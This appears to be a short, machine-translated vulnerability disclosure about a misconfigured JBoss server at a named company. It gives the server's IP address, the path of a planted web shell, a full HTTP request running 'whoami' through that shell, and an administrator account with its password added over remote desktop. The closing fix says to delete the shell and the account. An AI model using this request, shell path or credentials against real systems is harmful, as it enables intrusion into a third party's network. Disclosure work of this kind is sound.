Incorrect configuration of a system in caoxin capital results in the Intranet access of the Getshell server.

Incorrect configuration of a system in caoxin capital results in the Intranet access of the Getshell server.

If the system is improperly configured, The getshell server can access the Intranet.

Address: http: // 123.57.91.68/level2.jsp? Caid = 002
 

Improper jboss Configuration

Http: // 123.57.91.68/web-console
 

Getshell

Http: // 123.57.91.68/jbossass. jsp
 

GET http://123.57.91.68/jbossass/jbossass.jsp?ppp=whoami HTTP/1.1Accept: text/cssReferer: http://123.57.91.68Accept-Language: zh-CNUser-Agent: jexbossUA-CPU: AMD64Accept-Encoding: gzip, deflateConnection: Keep-AliveHost: 123.57.91.68Cookie: JSESSIONID=F9A0B9F452399D8AD0A5964C718833CD

 

Admin remote is directly added because the server has 3389 enabled.
 

Admin/wooyun
 

 

 

Solution:

Delete shell, delete account, and correctly configure jboss